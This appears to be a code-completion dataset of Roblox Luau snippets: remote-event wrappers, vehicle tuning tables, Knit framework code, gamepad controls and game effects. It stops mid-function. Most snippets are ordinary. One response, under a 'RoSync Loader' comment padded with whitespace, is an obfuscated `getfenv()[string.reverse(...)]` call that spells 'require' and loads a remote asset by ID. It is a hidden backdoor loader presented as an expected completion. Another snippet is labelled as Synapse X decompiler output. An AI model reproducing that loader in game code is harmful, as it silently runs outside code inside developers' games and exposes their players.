Prompt:
--[[

	remoteSignal = RemoteSignal.new()

	remoteSignal:Connect(handler: (player: Player, ...args: any) -> void): RBXScriptConnection
	remoteSignal:Fire(player: Player, ...args: any): void
	remoteSignal:FireAll(...args: any): void
	remoteSignal:FireExcept(player: Player, ...args: any): void
	remoteSignal:Wait(): (...any)
	remoteSignal:Destroy(): void

--]]

Response:
local IS_SERVER = game:GetService("RunService"):IsServer()

local Players = game:GetService("Players")
local Ser = require(script.Parent.Parent.Ser)

local RemoteSignal = {}
RemoteSignal.__index = RemoteSignal

function RemoteSignal.Is(object)
	return type(object) == "table" and getmetatable(object) == RemoteSignal
end

function RemoteSignal.new()
	assert(IS_SERVER, "RemoteSignal can only be created on the server")
	local self = setmetatable({
		_remote = Instance.new("RemoteEvent");
	}, RemoteSignal)
	return self
end

function RemoteSignal:Fire(player, ...)
	self._remote:FireClient(player, Ser.SerializeArgsAndUnpack(...))
end

function RemoteSignal:FireAll(...)
	self._remote:FireAllClients(Ser.SerializeArgsAndUnpack(...))
end

function RemoteSignal:FireExcept(player, ...)
	local args = Ser.SerializeArgs(...)
	for _,plr in ipairs(Players:GetPlayers()) do
		if plr ~= player then
			self._remote:FireClient(plr, Ser.UnpackArgs(args))
		end
	end
end

function RemoteSignal:Wait()
	return self._remote.OnServerEvent:Wait()
end

function RemoteSignal:Connect(handler)
	return self._remote.OnServerEvent:Connect(function(player, ...)
		handler(player, Ser.DeserializeArgsAndUnpack(...))
	end)
end

function RemoteSignal:Destroy()
	self._remote:Destroy()
	self._remote = nil
end

return RemoteSignal


Prompt:
--[[
	    ___      _______                _       _______
	   / _ |____/ ___/ /  ___ ____ ___ (_)__   /__  __/
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<     / /
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/	/_/
						SecondLogic @ Inspare
						Avxnturador @ Novena
]]

Response:
local autoscaling	= false					--Estimates top speed

local UNITS	= {								--Click on speed to change units
											--First unit is default
	{
		units			= "KM/H"			,
		scaling			= (10/12) * 1.09728	, -- 1 stud : 10 inches | ft/s to KP/H
		maxSpeed		= 260				,
		spInc			= 20				, -- Increment between labelled notches
	},

	{
        units			= "MPH"				,
		scaling			= (10/12) * (60/88)	, -- 1 stud : 10 inches | ft/s to MPH
		maxSpeed		= 160				,
		spInc			= 20				, -- Increment between labelled notches
	},

	{
		units			= "SPS"				,
		scaling			= 1					, -- Roblox standard
		maxSpeed		= 280				,
		spInc			= 40				, -- Increment between labelled notches
	}
}


Prompt: -- Private functions

Response:
local function getCorners(cf, s2)
	return {
		cf:PointToWorldSpace(Vector3.new(-s2.x, s2.y, s2.z));
		cf:PointToWorldSpace(Vector3.new(-s2.x, -s2.y, s2.z));
		cf:PointToWorldSpace(Vector3.new(-s2.x, -s2.y, -s2.z));
		cf:PointToWorldSpace(Vector3.new(s2.x, -s2.y, -s2.z));
		cf:PointToWorldSpace(Vector3.new(s2.x, s2.y, -s2.z));
		cf:PointToWorldSpace(Vector3.new(s2.x, s2.y, s2.z));
		cf:PointToWorldSpace(Vector3.new(s2.x, -s2.y, s2.z));
		cf:PointToWorldSpace(Vector3.new(-s2.x, s2.y, -s2.z));
	}
end

local function worldBoundingBox(set)
	local x, y, z = {}, {}, {}
	for i = 1, #set do x[i], y[i], z[i] = set[i].x, set[i].y, set[i].z end
	local min = Vector3.new(math.min(unpack(x)), math.min(unpack(y)), math.min(unpack(z)))
	local max = Vector3.new(math.max(unpack(x)), math.max(unpack(y)), math.max(unpack(z)))
	return min, max
end


Prompt: --//Settings

Response: BlurAmount = 0 -- Change this to increase or decrease the blur size


Prompt:
--[[myaccpage.Visible = true
deppage.Visible = false
wthpage.Visible = false
trnpage.Visible = false
cshpage.Visible = false]]


Prompt:
--[[	local lockL = Instance.new("Motor")
	lockL.Parent = carSeat.Parent.Parent.LW.ML
	lockL.Part0 = carSeat.Parent.Parent.LW.ML
	lockL.Part1 = carSeat.Parent.Parent.Suspension.ML
	local lockR = Instance.new("Motor")
	lockR.Parent = carSeat.Parent.Parent.RW.MR
	lockR.Part0 = carSeat.Parent.Parent.RW.MR
lockR.Part1 = carSeat.Parent.Parent.Suspension.MR]]--
--end

Response:
	--else

		--if m == true then
	--	m = false occ = false
		--carSeat.Parent.Parent.LW.ML.Motor:remove()
	--	end


Prompt: -- Track if the player is actively racing

Response:
local activePlayer = false
local inRace = false


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
service = nil;
return function(p1)
	local l__Color__1 = p1.Color;
	if l__Color__1 == "off" then
		client.UI.Remove("BubbleChat");
		return;
	end;
	local v2 = client.UI.Make("Window", {
		Name = "BubbleChat",
		Title = "Bubble Chat",
		Icon = client.MatIcons.Chat,
		Size = { 260, 57 },
		Position = UDim2.new(0, 10, 1, -80),
		AllowMultiple = false
	});
	if v2 then
		local v3 = v2:Add("TextBox", {
			Text = "Click here or press \";\" to chat",
			PlaceholderText = "Click here or press \";\" to chat",
			BackgroundTransparency = 1,
			TextScaled = true,
			TextSize = 20
		});
		v3.FocusLost:Connect(function(p2)
			if p2 and (service.Player.Character:FindFirstChild("Head") and l__Color__1 and v3.Text ~= "Click here or press \";\" to chat") then
				if #v3.Text > 0 then
					service.ChatService:Chat(service.Player.Character.Head, service.LaxFilter(v3.Text), l__Color__1);
				end;
				v3.Text = "Click here or press \";\" to chat";
			end;
		end);
		v2:BindEvent(service.UserInputService.InputBegan, function(p3, p4)
			if not p4 and p3.UserInputType == Enum.UserInputType.Keyboard and p3.KeyCode == Enum.KeyCode.Semicolon then
				service.RunService.RenderStepped:Wait();
				v3:CaptureFocus();
			end;
		end);
		local l__gTable__4 = v2.gTable;
		v2:Ready();
	end;
end;


Prompt: --[[ Last synced 11/11/2020 02:34                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt:
-- string stm_string(Stream S, int len)
-- @S - Stream object to read from
-- @len - Length of string being read

Response:
local function stm_string(S, len)
	local pos = S.index + len
	local str = S.source:sub(S.index, pos - 1)

	S.index = pos
	return str
end


Prompt: --[[ Public API ]]

Response:
--
function Gamepad:Enable()
	local forwardValue  = 0
	local backwardValue = 0
	local leftValue = 0
	local rightValue = 0

	local moveFunc = LocalPlayer.Move
	local gamepadSupports = UserInputService.GamepadSupports

	local controlCharacterGamepad = function(actionName, inputState, inputObject)
		if activateGamepad ~= inputObject.UserInputType then return end
		if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end

		if inputState == Enum.UserInputState.Cancel then
			MasterControl:AddToPlayerMovement(-currentMoveVector)
			currentMoveVector =  Vector3.new(0,0,0)
			return
		end

		if inputObject.Position.magnitude > thumbstickDeadzone then
			MasterControl:AddToPlayerMovement(-currentMoveVector)
			currentMoveVector =  Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)
			MasterControl:AddToPlayerMovement(currentMoveVector)
		else
			MasterControl:AddToPlayerMovement(-currentMoveVector)
			currentMoveVector =  Vector3.new(0,0,0)
		end
	end

	local jumpCharacterGamepad = function(actionName, inputState, inputObject)
		if activateGamepad ~= inputObject.UserInputType then return end
		if inputObject.KeyCode ~= Enum.KeyCode.ButtonA then return end

		if inputState == Enum.UserInputState.Cancel then
			MasterControl:SetIsJumping(false)
			return
		end

		MasterControl:SetIsJumping(inputObject.UserInputState == Enum.UserInputState.Begin)
	end

	local doDpadMoveUpdate = function(userInputType)
		if not gamepadSupports(UserInputService, userInputType, Enum.KeyCode.Thumbstick1) then
			if LocalPlayer and LocalPlayer.Character then
				MasterControl:AddToPlayerMovement(-currentMoveVector)
				currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue)
				MasterControl:AddToPlayerMovement(currentMoveVector)
			end
		end
	end

	local moveForwardFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.End then
			forwardValue = -1
		elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
			forwardValue = 0
		end

		doDpadMoveUpdate(inputObject.UserInputType)
	end

	local moveBackwardFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.End then
			backwardValue = 1
		elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
			backwardValue = 0
		end

		doDpadMoveUpdate(inputObject.UserInputType)
	end

	local moveLeftFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.End then
			leftValue = -1
		elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
			leftValue = 0
		end

		doDpadMoveUpdate(inputObject.UserInputType)
	end

	local moveRightFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.End then
			rightValue = 1
		elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
			rightValue = 0
		end

		doDpadMoveUpdate(inputObject.UserInputType)
	end

	local function setActivateGamepad()
		if activateGamepad then
			ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
		end
		assignActivateGamepad()
		if activateGamepad then
			ContextActionService:BindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
		end
	end

	ContextActionService:BindAction("JumpButton",jumpCharacterGamepad, false, Enum.KeyCode.ButtonA)
	ContextActionService:BindAction("MoveThumbstick",controlCharacterGamepad, false, Enum.KeyCode.Thumbstick1)

	ContextActionService:BindAction("forwardDpad", moveForwardFunc, false, Enum.KeyCode.DPadUp)
	ContextActionService:BindAction("backwardDpad", moveBackwardFunc, false, Enum.KeyCode.DPadDown)
	ContextActionService:BindAction("leftDpad", moveLeftFunc, false, Enum.KeyCode.DPadLeft)
	ContextActionService:BindAction("rightDpad", moveRightFunc, false, Enum.KeyCode.DPadRight)

	setActivateGamepad()

	gamepadConnectedCon = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
		if activateGamepad ~= gamepadEnum then return end

		MasterControl:AddToPlayerMovement(-currentMoveVector)
		currentMoveVector = Vector3.new(0,0,0)

		activateGamepad = nil
		setActivateGamepad()
	end)

	gamepadDisconnectedCon = UserInputService.GamepadConnected:connect(function(gamepadEnum)
		if activateGamepad == nil then
			setActivateGamepad()
		end
	end)
end

function Gamepad:Disable()

	ContextActionService:UnbindAction("forwardDpad")
	ContextActionService:UnbindAction("backwardDpad")
	ContextActionService:UnbindAction("leftDpad")
	ContextActionService:UnbindAction("rightDpad")

	ContextActionService:UnbindAction("MoveThumbstick")
	ContextActionService:UnbindAction("JumpButton")
	ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2)

	if gamepadConnectedCon then gamepadConnectedCon:disconnect() end
	if gamepadDisconnectedCon then gamepadDisconnectedCon:disconnect() end

	activateGamepad = nil
	MasterControl:AddToPlayerMovement(-currentMoveVector)
	currentMoveVector = Vector3.new(0,0,0)
	MasterControl:SetIsJumping(false)
end

return Gamepad


Prompt:
--[=[
	@interface ControllerDef
	.Name string
	.[any] any
	@within KnitClient
	Used to define a controller when creating it in `CreateController`.
]=]

Response:
type ControllerDef = {
	Name: string,
	[any]: any,
}


Prompt:
--[[

	Knit.CreateController(controller): Controller
	Knit.AddControllers(folder): Controller[]
	Knit.AddControllersDeep(folder): Controller[]
	Knit.GetService(serviceName): Service
	Knit.GetController(controllerName): Controller
	Knit.Start(): Promise<void>
	Knit.OnStart(): Promise<void>

--]]

Response:
type ControllerDef = {
	Name: string,
	[any]: any,
}

type Controller = {
	Name: string,
	[any]: any,
}

type Service = {
	[any]: any,
}

local KnitClient = {}

KnitClient.Version = script.Parent:WaitForChild("Version").Value
KnitClient.Player = game:GetService("Players").LocalPlayer
KnitClient.Controllers = {} :: {[string]: Controller}
KnitClient.Util = script.Parent:WaitForChild("Util")

local Promise = require(KnitClient.Util.Promise)
local Loader = require(KnitClient.Util.Loader)
local Ser = require(KnitClient.Util.Ser)
local ClientRemoteSignal = require(KnitClient.Util.Remote.ClientRemoteSignal)
local ClientRemoteProperty = require(KnitClient.Util.Remote.ClientRemoteProperty)
local TableUtil = require(KnitClient.Util.TableUtil)

local services: {[string]: Service} = {}
local servicesFolder = script.Parent:WaitForChild("Services")

local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")

local function BuildService(serviceName: string, folder: Instance): Service
	local service = {}
	local rfFolder = folder:FindFirstChild("RF")
	local reFolder = folder:FindFirstChild("RE")
	local rpFolder = folder:FindFirstChild("RP")
	if rfFolder then
		for _,rf in ipairs(rfFolder:GetChildren()) do
			if rf:IsA("RemoteFunction") then
				local function StandardRemote(_self, ...)
					return Ser.DeserializeArgsAndUnpack(rf:InvokeServer(Ser.SerializeArgsAndUnpack(...)))
				end
				local function PromiseRemote(_self, ...)
					local args = Ser.SerializeArgs(...)
					return Promise.new(function(resolve)
						resolve(Ser.DeserializeArgsAndUnpack(rf:InvokeServer(table.unpack(args, 1, args.n))))
					end)
				end
				service[rf.Name] = StandardRemote
				service[rf.Name .. "Promise"] = PromiseRemote
			end
		end
	end
	if reFolder then
		for _,re in ipairs(reFolder:GetChildren()) do
			if re:IsA("RemoteEvent") then
				service[re.Name] = ClientRemoteSignal.new(re)
			end
		end
	end
	if rpFolder then
		for _,rp in ipairs(rpFolder:GetChildren()) do
			if rp:IsA("ValueBase") or rp:IsA("RemoteEvent") then
				service[rp.Name] = ClientRemoteProperty.new(rp)
			end
		end
	end
	services[serviceName] = service
	return service
end

local function DoesControllerExist(controllerName: string): boolean
	local controller: Controller? = KnitClient.Controllers[controllerName]
	return controller ~= nil
end

function KnitClient.CreateController(controllerDef: ControllerDef): Controller
	assert(type(controllerDef) == "table", "Controller must be a table; got " .. type(controllerDef))
	assert(type(controllerDef.Name) == "string", "Controller.Name must be a string; got " .. type(controllerDef.Name))
	assert(#controllerDef.Name > 0, "Controller.Name must be a non-empty string")
	assert(not DoesControllerExist(controllerDef.Name), "Controller \"" .. controllerDef.Name .. "\" already exists")
	local controller: Controller = TableUtil.Assign(controllerDef, {
		_knit_is_controller = true;
	})
	KnitClient.Controllers[controller.Name] = controller
	return controller
end

function KnitClient.AddControllers(folder: Instance): {any}
	return Loader.LoadChildren(folder)
end

function KnitClient.AddControllersDeep(folder: Instance): {any}
	return Loader.LoadDescendants(folder)
end

function KnitClient.GetService(serviceName: string): Service
	assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName))
	local folder: Instance? = servicesFolder:FindFirstChild(serviceName)
	assert(folder ~= nil, "Could not find service \"" .. serviceName .. "\"")
	return services[serviceName] or BuildService(serviceName, folder :: Instance)
end

function KnitClient.GetController(controllerName: string): Controller?
	return KnitClient.Controllers[controllerName]
end

function KnitClient.Start()

	if started then
		return Promise.Reject("Knit already started")
	end

	started = true

	local controllers = KnitClient.Controllers

	return Promise.new(function(resolve)

		-- Init:
		local promisesStartControllers = {}
		for _,controller in pairs(controllers) do
			if type(controller.KnitInit) == "function" then
				table.insert(promisesStartControllers, Promise.new(function(r)
					controller:KnitInit()
					r()
				end))
			end
		end

		resolve(Promise.All(promisesStartControllers))

	end):Then(function()

		-- Start:
		for _,controller in pairs(controllers) do
			if type(controller.KnitStart) == "function" then
				task.spawn(controller.KnitStart, controller)
			end
		end

		startedComplete = true
		onStartedComplete:Fire()

		task.defer(function()
			onStartedComplete:Destroy()
		end)

	end)

end

function KnitClient.OnStart()
	if startedComplete then
		return Promise.Resolve()
	else
		return Promise.FromEvent(onStartedComplete.Event)
	end
end

return KnitClient


Prompt:
--[[
	An object to represent runtime errors that occur during execution.
	Promises that experience an error like this will be rejected with
	an instance of this object.
]]

Response:
local Error do
	Error = {
		Kind = makeEnum("Promise.Error.Kind", {
			"ExecutionError",
			"AlreadyCancelled",
			"NotResolvedInTime",
			"TimedOut",
		}),
	}
	Error.__index = Error

	function Error.new(options, parent)
		options = options or {}
		return setmetatable({
			error = tostring(options.error) or "[This error has no error text.]",
			trace = options.trace,
			context = options.context,
			kind = options.kind,
			parent = parent,
			createdTick = os.clock(),
			createdTrace = debug.traceback(),
		}, Error)
	end

	function Error.is(anything)
		if type(anything) == "table" then
			local metatable = getmetatable(anything)

			if type(metatable) == "table" then
				return rawget(anything, "error") ~= nil and type(rawget(metatable, "extend")) == "function"
			end
		end

		return false
	end

	function Error.isKind(anything, kind)
		assert(kind ~= nil, "Argument #2 to Promise.Error.isKind must not be nil")

		return Error.is(anything) and anything.kind == kind
	end

	function Error:extend(options)
		options = options or {}

		options.kind = options.kind or self.kind

		return Error.new(options, self)
	end

	function Error:getErrorChain()
		local runtimeErrors = { self }

		while runtimeErrors[#runtimeErrors].parent do
			table.insert(runtimeErrors, runtimeErrors[#runtimeErrors].parent)
		end

		return runtimeErrors
	end

	function Error:__tostring()
		local errorStrings = {
			string.format("-- Promise.Error(%s) --", self.kind or "?"),
		}

		for _, runtimeError in ipairs(self:getErrorChain()) do
			table.insert(errorStrings, table.concat({
				runtimeError.trace or runtimeError.error,
				runtimeError.context,
			}, "\n"))
		end

		return table.concat(errorStrings, "\n")
	end
end


Prompt:
--!nonstrict
--[[
	MouseLockController - Replacement for ShiftLockController, manages use of mouse-locked mode
	2018 Camera Update - AllYourBlox
--]]


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Auto","Semi","Manual"}												--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "RPM"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		-- Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		-- Automatic downshift point (relative to peak RPM, positive = Under-rev)
	Tune.ShiftTime = .3				-- The time delay in which you initiate a shift and the car changes gear

	--Gear Ratios

	Tune.FinalDrive		= 0.8		 --		[TRANSMISSION CALCULATIONS FOR NERDS]
	Tune.Ratios			= {			 --		SPEED [SPS]	 = (Wheel diameter(studs) * math.pi * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
		--[[ R ]]		18.641		,--		WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
		--[[ N ]]		0			,
		--[[ 1 ]]		16.641		,
		--[[ 2 ]]		12.342		,
		--[[ 3 ]]		9.812		,
		--[[ 4 ]]		7.765		,
		--[[ 5 ]]		6.272		,
		--[[ 6 ]]		5.045		,
		--[[ 7 ]]		4.572		,
		--[[ 8 ]]		4.072
	}
	Tune.FDMult			= 1			-- Ratio multiplier (keep this at 1 if car is not struggling with torque)


Prompt: -- Variables

Response:
local poolSizeMultiplier = getSetting("Pool size multiplier") or 1

playerService.PlayerAdded:Connect(function (plr)

	if not workspace:FindFirstChild("Blood") then
		folder = Instance.new("Folder", workspace)
		folder.Name = "Blood"
	end

	local charFolder = Instance.new("Folder", folder)
	charFolder.Name = plr.Name

	plr.CharacterAdded:Connect(function (char)

		local humanoid = char:WaitForChild("Humanoid")

		humanoid.Died:Connect(function ()
			pcall(function ()

				local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") or nil
				local root = char:FindFirstChild("HumanoidRootPart") or nil
				local base

				local function bloodPool (part, limbCenter)

					local pool = Instance.new("Part", charFolder)
					pool.CanCollide = false
					pool.BrickColor = BrickColor.new("Crimson")
					pool.Material = Enum.Material.Plastic
					pool.Transparency = .2
					pool.CastShadow = false
					pool.Shape = "Cylinder"
					pool.Anchored = true

					pool.Size = Vector3.new(.1, 0, 0)
					pool.CFrame = part.CFrame

					if limbCenter then
						pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y - (base.Size.Y / 2) + math.random(0, .2), torso.Position.Z + math.random(-4, 4))
					else
						pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y + (base.Size.Y / 2), torso.Position.Z + math.random(-4, 4))
					end

					pool.Orientation = Vector3.new(0, 0, 90)
					tweenService:Create(pool, TweenInfo.new(math.random(.4, 4), Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Size = Vector3.new(.1, math.random(3, 7) * poolSizeMultiplier, math.random(3, 7) *poolSizeMultiplier)}):Play()

					debris:AddItem(pool, 9)
				end

				if char.Humanoid.RigType == Enum.HumanoidRigType.R6 then
					wait(.2)
					if not char:FindFirstChild("Head") and workspace:FindFirstChild(plr.Name .. "-2") then
						char = workspace[plr.Name .. "-2"]
					end
				end

				repeat wait() until math.floor(torso.Velocity.Magnitude) == 0
				local baseBlacklist = char:GetChildren()

				pcall(function ()
					for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
						if plr.Character then
							for _,v in pairs(plr.Character:GetChildren()) do
								if v:IsA("BasePart") then
									table.insert(baseBlacklist, v)
								elseif v:IsA("Accoutrement") then
									table.insert(baseBlacklist, v:FindFirstChildWhichIsA("BasePart"))
								elseif v:IsA("Tool") and v:FindFirstChild("Handle") then
									table.insert(baseBlacklist, v.Handle)
								end
							end
						end
						if workspace:FindFirstChild(plr.Name .. "-2") then
							for _,p in pairs(workspace[plr.Name .. "-2"]:GetChildren()) do
								if p:IsA("BasePart") then
									table.insert(baseBlacklist, p)
								elseif p:IsA("Accoutrement") then
									table.insert(baseBlacklist, p:FindFirstChildWhichIsA("BasePart"))
								end
							end
						end
					end
				end)

				if type(baseBlacklist) == "table" then

					local limbCenter = false
					base = workspace:FindPartsInRegion3WithIgnoreList(Region3.new(torso.Position - torso.Size * 2, torso.Position + torso.Size * 2), baseBlacklist, 1)[1]

					if not base then
						if char:FindFirstChild("Left Leg") then
							base = char["Left Leg"]
							limbCenter = true
						elseif char:FindFirstChild("LeftFoot") then
							base = char["LeftFoot"]
							limbCenter = true
						end
					end

					if base then
						for _,limb in pairs(char:GetChildren()) do
							if limb:IsA("BasePart") and limb.Name ~= "HumanoidRootPart" then
								bloodPool(limb, limbCenter)
							end
						end
					end
				end
			end)
		end)
	end)
end)

playerService.PlayerRemoving:Connect(function (plr)
	if folder:FindFirstChild(plr.Name) then
		folder[plr.Name]:Destroy()
	end
end)


Prompt:
--This script automatically adds your chat modules to the chat system
--Put this script in ServerScriptService
--Dont remove the childs of this script
--All Child will be added into the Chat system after the game has started
--If you have more chat modules, feel free to use this script

Response:
local CSR = game.Chat:WaitForChild("ChatServiceRunner")
CSR.Disabled = true
for _,v in pairs(script:GetChildren()) do
	v.Parent = game.Chat:WaitForChild("ChatModules")
end
CSR.Disabled = false --ChatServiceRunner is now restarted and will load all added modules
script:Destroy() --the script has after this no purpose anymore


Response:
function Tween(instance,tweeninformation,goals)
	TweenService:Create(instance,tweeninformation,goals):Play()
end
LightGroup = script.Parent.Lights:GetChildren()
while true do
	wait(0)
	if script.Parent.on.Value then
		for i = 1,#LightGroup do

			Tween(LightGroup[i],TweenInfo.new(deltatime),{Transparency = 0})
			Tween(LightGroup[i].Light,TweenInfo.new(deltatime),{Brightness = 2})
			Tween(script.Parent.TailLight.Light,TweenInfo.new(deltatime),{Brightness = 2})
		end
	else
		for i = 1,#LightGroup do
			Tween(LightGroup[i],TweenInfo.new(deltatime),{Transparency = 1})
			Tween(LightGroup[i].Light,TweenInfo.new(deltatime),{Brightness = 0})
			Tween(script.Parent.TailLight.Light,TweenInfo.new(deltatime),{Brightness = 0})
		end
	end
end


Prompt: ----- Utils -----

Response:
local function DeepCopyTable(t)
	local copy = {}
	for key, value in pairs(t) do
		if type(value) == "table" then
			copy[key] = DeepCopyTable(value)
		else
			copy[key] = value
		end
	end
	return copy
end

local function ReconcileTable(target, template)
	for k, v in pairs(template) do
		if type(k) == "string" then -- Only string keys will be reconciled
			if target[k] == nil then
				if type(v) == "table" then
					target[k] = DeepCopyTable(v)
				else
					target[k] = v
				end
			elseif type(target[k]) == "table" and type(v) == "table" then
				ReconcileTable(target[k], v)
			end
		end
	end
end


Prompt: --//Configure//--

Response:
EngineSound = "http://www.roblox.com/asset/?id=426479434"
enginevolume = 0.5
enginePitchAdjust = 1

IdleSound = "http://www.roblox.com/asset/?id=426479434" --{If you dont have a separate sound, use engine sound ID}
idlePitchAdjust = 0.9

TurboSound = "http://www.roblox.com/asset/?id=286070281"
turbovolume = 1

SuperchargerSound = "http://www.roblox.com/asset/?id=404779487"
superchargervolume = 0.5

HornSound = "http://www.roblox.com/asset/?id=143133249"
hornvolume = 1

StartupSound = "http://www.roblox.com/asset/?id=169394147"
startupvolume = 0.5
startuplength = 1 --{adjust this for a longer startup duration}

WHEELS_VISIBLE = true --If your wheels transparency is a problem, change this value to false
BRAKES_VISIBLE = false --This is to hide the realistic brakes, you can set this to false if you'd like to see how the brakes work
AUTO_FLIP = true --If false, your car will not flip itself back over in the event of a turnover

SpeedoReading = "MPH" --{KPH, MPH}

RevDecay = 150 --{The higher this value, the faster it will decay}

								--//INSPARE//--
								  --//SS6//--
							 --//Build 1.25//--

									--and i'll write your name.

 script.Parent.Name = "VehicleSeat"


Prompt: -- Variable

Response:
local Player = game.Players.LocalPlayer
local Character = Player.Character
local Camera = game.Workspace.CurrentCamera
local SpeedBoost = 27 -- What your speed is going to be when you hold shift
local DefaultSpeed = 16 -- What your speed is going to be when you let of shift
local UserInputService = game:GetService("UserInputService")


Prompt: -- Put your code down here and don't delete this entire text.

Response:
local rocket = script.Parent.Parent.Rocket
local debounce = false
script.Parent.Event:connect(function()
	if debounce == false then
		debounce = true
		for i = 1,75 do
		rocket.Top.Model:SetPrimaryPartCFrame(rocket.Top.Model:GetPrimaryPartCFrame()*CFrame.Angles(0,0,math.rad(-2)))
		wait()
		end
	script.Parent.Parent.Rocket.Top.Core.A:play()
	for i = 1,400 do
		script.Parent.Parent.Walk.Walkway:SetPrimaryPartCFrame(script.Parent.Parent.Walk.Walkway:GetPrimaryPartCFrame()*CFrame.Angles(0,math.rad(-.1),0))
		wait()
	end
	script.Parent.Parent.Rocket.Top.Core.A:stop()
	script.Parent.Parent.Rocket.Top.Core.B:play()
	wait(3)
	rocket.Parent.Truss1.Anchored = false
	rocket.Parent.Truss2.Anchored = false
	rocket.Parent.Truss3.Anchored = false
	rocket.Parent.Truss4.Anchored = false
	rocket.Parent.Truss5.Anchored = false
	rocket.Parent.Truss6.Anchored = false
	rocket.Parent.Truss7.Anchored = false
	rocket.Parent.Truss8.Anchored = false
	wait(3)
	script.Parent.Parent.Rocket.Top.Core.B:stop()
	script.Parent.Parent.Rocket.Top.Core.C:play()
	rocket.Weld.Disabled = false
	rocket.SectionA.BoosterA.Rocket.ParticleEmitter.Enabled = true
	rocket.SectionA.BoosterB.Rocket.ParticleEmitter.Enabled = true
	rocket.SectionA.BoosterC.Rocket.ParticleEmitter.Enabled = true
	rocket.SectionA.BoosterD.Rocket.ParticleEmitter.Enabled = true
	for i = 1,300 do
		rocket.CFrame.BodyVelocity.Velocity = rocket.CFrame.BodyVelocity.Velocity + Vector3.new(0,.5,0)
	wait()
	end
	wait(5)
	rocket.Top.Core.C:stop()
	rocket.Top.Core.Decoupler:play()
	rocket.SectionA.BoosterA.Rocket.ParticleEmitter.Enabled = false
	rocket.SectionA.BoosterB.Rocket.ParticleEmitter.Enabled = false
	rocket.SectionA.BoosterC.Rocket.ParticleEmitter.Enabled = false
	rocket.SectionA.BoosterD.Rocket.ParticleEmitter.Enabled = false
	rocket.SectionA.BoosterA:BreakJoints()
	rocket.SectionA.BoosterB:BreakJoints()
	rocket.SectionA.BoosterC:BreakJoints()
	rocket.SectionA.BoosterD:BreakJoints()
	wait(1)
	rocket.Top.Core.D:play()
	rocket.SectionA.Side.MainRocket.ParticleEmitter.Enabled = true
	wait(3)
	rocket.Top.Core.D:stop()
	rocket.Top.Core.Decoupler:play()
	rocket.SectionA.Side.MainRocket.ParticleEmitter.Enabled = false
	rocket.SectionA.Side:BreakJoints()
	wait(1)
	rocket.Top.Core.E:play()
	rocket.Top.Engine.ParticleEmitter.Enabled = true
	end
end)


Response:
	,Distance = 10000
	,BDrop = .25
	,BSpeed = 2000

	,SuppressMaxDistance = 25	--- Studs
	,SuppressTime = 10			--- Seconds

	,BulletWhiz = false
	,BWEmitter = 25
	,BWMaxDistance = 200

	,BulletFlare = false
	,BulletFlareColor = Color3.fromRGB(255,255,255)

	,Tracer = false
	,TracerColor = Color3.fromRGB(255,255,255)
	,TracerLightEmission = 1
	,TracerLightInfluence = 0
	,TracerLifeTime = .2
	,TracerWidth = .1
	,RandomTracer = false
	,TracerEveryXShots = 5
	,TracerChance = 100

	,BulletLight = false
	,BulletLightBrightness = 1
	,BulletLightColor = Color3.fromRGB(255,255,255)
	,BulletLightRange = 10

	,ExplosiveHit = false
	,ExPressure = 500
	,ExpRadius = 25
	,DestroyJointRadiusPercent = 0	--- Between 0 & 1
	,ExplosionDamage = 100

	,LauncherDamage = 100
	,LauncherRadius = 25
	,LauncherPressure = 500
	,LauncherDestroyJointRadiusPercent = 0


Prompt:
-- Max angle the wheels will reach when turning
-- Higher number means sharper turning, but too high means the wheels might hit the car base

Response: local MAX_TURN_ANGLE = 40


Prompt: -- Default cleanup routine (can be overridden)

Response:
function InstancePool.Cleanup(Instance)
    Instance.Parent = nil
end

return InstancePool


Prompt: -- ROBLOX deviation START: chalk doesn't support chaining methods. Using nested calls instead

Response:
local FAIL_COLOR = function(...)
	return chalk.bold(chalk.red(...))
end
local OBSOLETE_COLOR = function(...)
	return chalk.bold(chalk.yellow(...))
end
local SNAPSHOT_ADDED = function(...)
	return chalk.bold(chalk.green(...))
end
local SNAPSHOT_NOTE = chalk.dim
local SNAPSHOT_REMOVED = function(...)
	return chalk.bold(chalk.green(...))
end
local SNAPSHOT_SUMMARY = chalk.bold
local SNAPSHOT_UPDATED = function(...)
